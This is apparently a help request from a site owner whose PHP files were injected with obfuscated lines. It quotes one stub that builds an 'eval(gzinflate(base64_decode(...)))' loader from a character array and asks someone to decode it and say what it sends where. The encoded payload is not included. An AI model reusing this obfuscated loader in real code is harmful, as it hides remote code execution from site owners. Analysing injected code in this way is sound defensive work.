decode hacked php code

Lots of lines were inserted into my site like these: $md5 = "8897fdbc0a43542bdd5e39b0c535d7f8"; $ae = array('b',"_",'r','$',"n",'g',"v","e","d",'z',"i",';','6','a',"s","f","t","o",")","(",'4',"c","l"); $be4 = create_function('$'.'v',$ae[7].$ae[6].$ae[13].$ae[22].$ae[19].$ae[5].$ae[9].$ae[10].$ae[4].$ae[15].$ae[22].$ae[13].$ae[16].$ae[7].$ae[19].$ae[0].$ae[13].$ae[14].$ae[7].$ae[12].$ae[20].$ae[1].$ae[8].$ae[7].$ae[21].$ae[17].$ae[8].$ae[7].$ae[19].$ae[3].$ae[6].$ae[18].$ae[18].$ae[18].$ae[11]); $be4(SOME CODED STUFF); Job is to analyse/decode some of these sources and explain what the result of the function are, and what information that is sent to where...